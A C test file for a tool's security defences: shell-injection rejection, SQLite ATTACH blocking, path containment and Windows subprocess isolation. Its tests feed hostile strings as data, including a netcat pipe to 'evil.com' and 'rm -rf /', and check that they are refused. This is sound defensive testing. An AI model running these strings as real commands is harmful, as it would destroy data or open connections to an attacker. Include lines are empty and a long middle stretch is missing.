/* * test_security.c — Tests for security defenses. * * Verifies that the actual security mechanisms work end-to-end: * - Shell injection prevention (cbm_validate_shell_arg) * - SQLite authorizer (ATTACH/DETACH blocked) * - Path containment (realpath prevents directory traversal) */ #include "test_framework.h" #include "test_helpers.h" #include #include #include "../src/foundation/str_util.h" #include "../src/foundation/compat_fs.h" #ifdef _WIN32 #include "../src/foundation/compat_fs_internal.h" #include "../src/foundation/win_utf8.h" #include /* #798 follow-up: listening-socket isolation guard */ #include #include #include #include #endif #include #include /* ══════════════════════════════════════════════════════════════════ * SHELL INJECTION PREVENTION * ══════════════════════════════════════════════════════════════════ */ TEST(shell_rejects_single_quote) { ASSERT_FALSE(cbm_validate_shell_arg("foo'bar")); PASS(); } TEST(shell_rejects_dollar_subst) { ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)")); PASS(); } TEST(shell_rejects_backtick) { ASSERT_FALSE(cbm_validate_shell_arg("`id`")); PASS(); } TEST(shell_rejects_semicolon) { ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /")); PASS(); } TEST(shell_rejects_pipe) { ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444")); PASS(); } TEST(shell_rejects_ampersand) { ASSERT_FALSE(cbm_validate_shell_arg("foo&background")); PASS(); } TEST(shell_rejects_backslash) { #ifdef _WIN32 /* Backslash is allowed on Windows (path separator) */ ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar")); #else ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar")); #endif PASS(); } TEST(shell_rejects_newline) { ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar")); PASS(); } TEST(shell_rejects_carriage_return) { ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar")); PASS(); } TEST(shell_rejects_null) { ASSERT_FALSE(cbm_validate_shell_arg(NULL)); PASS(); } TEST(shell_rejects_double_quote) { /* On Windows, the search code path wraps args in cmd.exe-level * "powershell -Command \"...'%s'...\"". A " in the input would close * the cmd.exe outer quote. Block unconditionally. */ ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar")); PASS(); } TEST(shell_rejects_redirect_out) { ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt")); PASS(); } TEST(shell_rejects_redirect_in) { ASSERT_FALSE(cbm_validate_shell_arg("foo 0); char cmd[MAX_PATH + 64]; snprintf(cmd, sizeof(cmd), "\"%s\" __cbm_sockprobe %llu", self, (unsigned long long)(uintptr_t)ls); FILE *fp = cbm_popen(cmd, "r"); ASSERT_NOT_NULL(fp); ASSERT_EQ(cbm_popen_last_was_isolated(), 1); char drain[128]; while (fgets(drain, sizeof(drain), fp)) { /* the probe writes nothing to stdout, but drain to a clean EOF */ } int rc = cbm_pclose(fp); closesocket(ls); WSACleanup(); ASSERT_EQ(rc, 0); /* 0 = socket isolated from child; 42 = leaked (regression) */ PASS(); } #endif /* _WIN32 */ /* ══════════════════════════════════════════════════════════════════ * SUITE * ══════════════════════════════════════════════════════════════════ */ SUITE(security) { /* Shell injection prevention */ RUN_TEST(shell_rejects_single_quote); RUN_TEST(shell_rejects_dollar_subst); RUN_TEST(shell_rejects_backtick); RUN_TEST(shell_rejects_semicolon); RUN_TEST(shell_rejects_pipe); RUN_TEST(shell_rejects_ampersand); RUN_TEST(shell_rejects_backslash); RUN_TEST(shell_rejects_newline); RUN_TEST(shell_rejects_carriage_return); RUN_TEST(shell_rejects_null); RUN_TEST(shell_rejects_double_quote); RUN_TEST(shell_rejects_redirect_out); RUN_TEST(shell_rejects_redirect_in); RUN_TEST(shell_accepts_clean_path); RUN_TEST(shell_accepts_spaces); RUN_TEST(shell_accepts_dots_dashes); RUN_TEST(shell_accepts_empty); RUN_TEST(shell_rejects_quote_escape_attack); RUN_TEST(shell_rejects_command_substitution); RUN_TEST(shell_rejects_env_var_expansion); /* SQLite authorizer */ RUN_TEST(sqlite_blocks_attach_via_cypher); RUN_TEST(sqlite_blocks_attach_direct); RUN_TEST(sqlite_blocks_detach_direct); RUN_TEST(sqlite_allows_normal_queries); /* SQL injection via Cypher */ RUN_TEST(cypher_rejects_sql_injection_in_string); RUN_TEST(cypher_rejects_union_injection); /* Path containment (POSIX only) */ #ifndef _WIN32 RUN_TEST(path_traversal_blocked); RUN_TEST(path_within_root_allowed); #endif #ifndef _WIN32 /* Shell-free subprocess execution */ RUN_TEST(exec_no_shell_true_returns_zero); RUN_TEST(exec_no_shell_false_returns_nonzero); RUN_TEST(exec_no_shell_echo_with_metacharacters); RUN_TEST(exec_no_shell_nonexistent_command); RUN_TEST(exec_no_shell_null_argv_returns_error); RUN_TEST(exec_no_shell_captures_exit_code); #else /* Windows command-line quoting (regression guard for #697) */ RUN_TEST(cmdline_taskkill_filter_is_single_quoted_token); RUN_TEST(cmdline_simple_args_are_not_quoted); RUN_TEST(cmdline_single_arg_no_trailing_space); RUN_TEST(cmdline_empty_arg_becomes_empty_quotes); RUN_TEST(cmdline_embedded_quote_is_escaped); RUN_TEST(cmdline_trailing_backslashes_doubled_before_close_quote); RUN_TEST(cmdline_null_argv_returns_null); RUN_TEST(cmdline_utf8_arg_is_widened_not_latin1); RUN_TEST(cmdline_utf8_multibyte_roundtrips_via_utf8_to_wide); /* Live CreateProcessW spawn path */ RUN_TEST(exec_no_shell_win_exit_zero); RUN_TEST(exec_no_shell_win_captures_exit_code); RUN_TEST(exec_no_shell_win_null_argv_returns_error); /* Isolated popen — handle-inheritance regression guard for #798 */ RUN_TEST(popen_isolated_git_version_round_trip); RUN_TEST(popen_isolated_propagates_exit_code); RUN_TEST(popen_isolates_listening_socket); #endif }